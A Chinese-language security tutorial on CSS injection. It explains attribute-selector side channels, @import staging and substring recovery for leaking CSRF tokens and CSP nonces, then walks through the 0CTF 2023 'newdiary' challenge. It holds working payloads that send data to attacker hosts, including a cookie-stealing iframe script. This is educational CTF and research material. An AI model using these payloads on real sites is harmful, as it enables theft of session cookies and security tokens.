前端安全:CSS 注入
前端安全:CSS 注入
css 注入通常用于窃取页面敏感信息,例如 csrf-token,csp 中的 nonce 值等。通常配合 xss、csrf 漏洞一同使用。
CSS 注入原理
下面的 payload 展示了一个窃取 csrf-token 的示例。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<!DOCTYPE html>
<head>
<style>
form:has(input[name="csrf-token"][value^="a"]){
background: url("http://attacker/?q=a");
}
</style>
<meta charset="UTF-8">
</head>
<body>
<form action="/action">
<input name="username">
<input type="submit">
<input type="hidden" name="csrf-token" value="abc123">
</form>
</body>
</html>
在这个 payload 中,我们使用 has 选择器,从 form 表单中选择满足 name=”csrf-token”,value 以 a 开头的 input 标签,如果能够获取到这样的标签,就通过 background 加载远程图片。
换句话来说,如果能够插入这样一行 css 代码,并且 csrf-token 确实以 a 开头,那么就能够受到一个请求。通过遍历就可以确认第一个字符。
1
2
3
4
5
6
7
8
9
10
11
12
form:has(input[name="csrf-token"][value^="a"]){
background: url("http://attacker/?q=a");
}
form:has(input[name="csrf-token"][value^="b"]){
background: url("http://attacker/?q=b");
}
form:has(input[name="csrf-token"][value^="c"]){
background: url("http://attacker/?q=c");
}
...
得到第一个字符后(假设为 a),就可以开始遍历第二个字符。
1
2
3
4
5
6
7
8
9
10
11
12
form:has(input[name="csrf-token"][value^="aa"]){
background: url("http://attacker/?q=a");
}
form:has(input[name="csrf-token"][value^="ab"]){
background: url("http://attacker/?q=b");
}
form:has(input[name="csrf-token"][value^="ac"]){
background: url("http://attacker/?q=c");
}
...
利用这样侧信道的方式,循环遍历就可以获取到所有的 csrf-token。
但其中存在一个问题,如果要一次将所有 payload 注入进去,大小写字母及数字加起来 62 个,如果要遍历每种组合的话 payload 将会非常长,特别是 token 长度一般也不会短。
如果分段注入呢?例如先注入猜解第一个字符的 payload,确认第一个字符之后,再注入猜解第二个字符的 payload。但这又会出现一个问题,页面需要进行刷新才能加载新的 payload,而刷新之后,csrf-token 往往会发生变化。
Pepe Vila 在 2019 提出了新的利用方式:@import,可以在不刷新页面的情况下,分阶段加载 css。
@import 可以进一步加载其他的 css。示例 payload 如下:
1
@import url(https://myserver.com/start?len=8)
攻击者服务器可以回复下面的 payload,此时客户端会逐个请求。
1
2
3
4
5
6
7
8
@import url(https://myserver.com/payload?len=1)
@import url(https://myserver.com/payload?len=2)
@import url(https://myserver.com/payload?len=3)
@import url(https://myserver.com/payload?len=4)
@import url(https://myserver.com/payload?len=5)
@import url(https://myserver.com/payload?len=6)
@import url(https://myserver.com/payload?len=7)
@import url(https://myserver.com/payload?len=8)
客户端请求 payload?len=1 时,攻击者可以回复枚举第一个字符的 payload。
1
2
3
4
5
6
7
8
9
10
11
12
form:has(input[name="csrf-token"][value^="a"]){
background: url("http://attacker/?q=a");
}
form:has(input[name="csrf-token"][value^="b"]){
background: url("http://attacker/?q=b");
}
form:has(input[name="csrf-token"][value^="c"]){
background: url("http://attacker/?q=c");
}
...
第一个字符确认后,再生成 payload?len=2 的响应内容,客户端此时请求该 url 时,攻击者就可以回复特定的 payload。
1
2
3
4
5
6
7
8
9
10
11
12
form:has(input[name="csrf-token"][value^="aa"]){
background: url("http://attacker/?q=a");
}
form:has(input[name="csrf-token"][value^="ab"]){
background: url("http://attacker/?q=b");
}
form:has(input[name="csrf-token"][value^="ac"]){
background: url("http://attacker/?q=c");
}
...
后面的过程依次类推。
这种方式也有一些需要注意的地方:
- 浏览器对同一个域名发起的请求有上限。如果请求太多仍旧会被限制,但也可以通过设置多个子域名来绕过限制,比如 a.attacker.com,b.attacker.com。
- firefox 下 payload 有所不同,原因在于 firefox 不会逐个 import css,而是一次性加载,这样就达不到分阶段确认字符的目的。 Michał Bentkowski 的文章提出了解决办法:CSS data exfiltration in Firefox via a single injection point - research.securitum.com
chrome 和 firefox 通用 payload:
1
2
3
4
5
6
7
8
<style>@import url(https://myserver.com/payload?len=1)</style>
<style>@import url(https://myserver.com/payload?len=2)</style>
<style>@import url(https://myserver.com/payload?len=3)</style>
<style>@import url(https://myserver.com/payload?len=4)</style>
<style>@import url(https://myserver.com/payload?len=5)</style>
<style>@import url(https://myserver.com/payload?len=6)</style>
<style>@import url(https://myserver.com/payload?len=7)</style>
<style>@import url(https://myserver.com/payload?len=8)</style>
更快的枚举
文章 Code Vulnerabilities Put Proton Mails at Risk - Sonar 展示了一种更快的枚举方式。
通过示例代码可以更好地理解:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-aaaqhkkzvf5mc3iv090nyysyq6wc80ai4v1'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline'">
</head>
<style>
:has(script[nonce*="aaa"]){--tosend-aaa: url(http://192.168.137.98:7777?x=aaa);}
:has(script[nonce*="aab"]){--tosend-aab: url(http://192.168.137.98:7777?x=aab);}
:has(script[nonce*="aac"]){--tosend-aac: url(http://192.168.137.98:7777?x=aac);}
input{
background: var(--tosend-aaa, none),
var(--tosend-aab, none),
var(--tosend-aac, none),
var(--tosend-aad, none)
}
</style>
<body>
<input>
<script nonce="nonce-aaaqhkkzvf5mc3iv090nyysyq6wc80ai4v1">
console.log(1)
</script>
</body>
页面中的 CSP 设置了 nonce 值,只有 nonce 属性值与 CSP 中设置的值相同的 JS 内链脚本才能够被执行,这个机制通常用于 XSS 防护。攻击者需要窃取到该值才能够正常运行 XSS。
其中 css 注入 payload 如下。
1
2
3
4
5
6
7
8
:has(script[nonce*="aaa"]){--tosend-aaa: url(http://192.168.137.98:7777?x=aaa);}
input{
background: var(--tosend-aaa, none),
var(--tosend-aab, none),
var(--tosend-aac, none),
var(--tosend-aad, none)
}
其作用就是在页面选择 nonce 值包含了 aaa 的 script 标签(*=
表示 nonce 值含有 aaa 时),如果能够选择到,则设定一个自定义属性 tosend-aaa(自定义属性以 – 开头),通过这个属性向外发起请求。
定义 input 样式的作用在于调用自定义参数,从而触发向外的请求,换用其他标签也同样可以,例如 div。
由于 nonce 中存在 aaa,因此可以受到一个 aaa 的请求:
如何获取完整的字符串呢?假设 none 值为 32 位随机字符串: qhkkzvf5mc3iv090nyysyq6wc80ai4v1
我们可以通过上面的方式,每次获取 3 位的子串,获取到 30 个不重复的子串,通过回溯的方式即可恢复整个字符串。比如 f5m 的后两位为 5m, 5m 又是 5mc 的开头,那么就可以确认 f5m 后一个字符为 c。
1
{'f5m', 'c3i', 'i4v', '3iv', 'zvf', 'iv0', 'syq', '0ai', '6wc', 'kkz', 'yq6', 'q6w', '5mc', 'c80', '4v1', 'ysy', '0ny', 'yys', 'ai4', '090', 'v09', 'nyy', 'mc3', 'hkk', 'qhk', 'vf5', 'kzv', 'wc8'}
这样一来,只需要较少的请求就可以获取完整的字符串。
0CTF 2023 newdiary
前几天的 0CTF 2023 newdiary 这道题就是考察的 CSS 注入的利用。
题目设定了一个 XSS 的场景,用户可以发布内容并分享给后台 bot,bot 的 cookie 设定为 FLAG,因此我们需要通过 XSS 获取到 FLAG。
题目没有进行 XSS 的过滤,但设定了 CSP,即使能够插入 js 代码,由于无法确认 nonce 值,代码也无法执行。
1
2
<meta http-equiv="Content-Security-Policy"
content="script-src 'nonce-qhkkzvf5mc3iv090nyysyq6wc80ai4v1'; frame-src 'none'; object-src 'none'; base-uri 'self'; style-src 'unsafe-inline' https://unpkg.com">
但 CSP style-src 设置为 ‘unsafe-inline’ https://unpkg.com”,允许内联执行,并信任来自 unpkg.com 的 css,所以这道题的思路就是利用 css 注入来窃取 nonce 值。
利用步骤如下:
- 新建一个笔记 redirect,id 为 0,内容如下,该 payload 可以达成重定向的效果。在无法使用 js 时,可以通过 mata 来完成重定向,meta 标签通常不会被过滤。
1
<meta http-equiv="refresh" content="0.0;url=http://192.168.137.98:8888/index.html">
其中 index.html 内容如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Document</title> </head> <body> <script> const sleep = (milliseconds) => new Promise(resolve => setTimeout(resolve, milliseconds)); async function run(){ bot_window = window.open("http://localhost/share/read#id=1&username="); // Exploit 1, leak nonce await sleep(7000); bot_window.location.href = "http://localhost/share/read#id=2&username="; // Exploit 2, leak cookie await sleep(100); console.log("O"); } run(); </script> </body> </html>
其主要功能是让 bot 通过 window.open 打开新的标签,然后访问 id=1 的笔记。等待一段时间后,再重定向到 id=2 的笔记。
- 新建一个笔记 steal,id 为 1,内容为窃取 nonce 值的 css 脚本。由于题目信任来自 unpkg.com 的 css 文件,我们可以先将泄露 nonce 值的 css 上传到 unpkg.com 中。
1
<link rel="stylesheet" href="http://unpkg.com/xxx/leak.css"><input />
- 当 bot 访问 id=0 的笔记时,会被重定向到攻击者页面,打开新的标签页,访问 id=1 的笔记。接着加载 leak.css 泄流出 id=1 页面的 nonce 值。此时 bot 进入等待时间。
- 枚举到 nonce 值后,新建一个笔记 flag,id 为 2,写入获取 cookie 值的 payload,nonce 值为刚才窃取到的值
1
<iframe name=asd srcdoc="<script nonce=xxxx >top.location='http://attacker/flag?flag='+encodeURI(document['cookie'])</script>"/>
因为页面设置了 script-src 为 nonce,禁止了 js 脚本的内联执行,因此这里使用 iframe 打开子窗口来加载 js 代码。
- bot 结束等待时间,访问 id=2 的页面,执行 js 代码将 cookie 发送到远程。
这里需要注意的是,页面的重定向(刷新)通常会导致 nonce 值发生变化,但题目环境是通过 url 中的 hash 值(# 之后的部分)来更新页面内容的,nonce 值有一个特点,# 之后的部分改变时,nonce 值不会发生变化,这也是这道题的一个关键点。
题目 payload 可参考:CTF-Writeups/0ctf - 2023/newdiary/README.md at main · salvatore-abello/CTF-Writeups
使用时注意将 index.html 放在 tempalte 目录下。启动 server.py 后,访问 /exploit。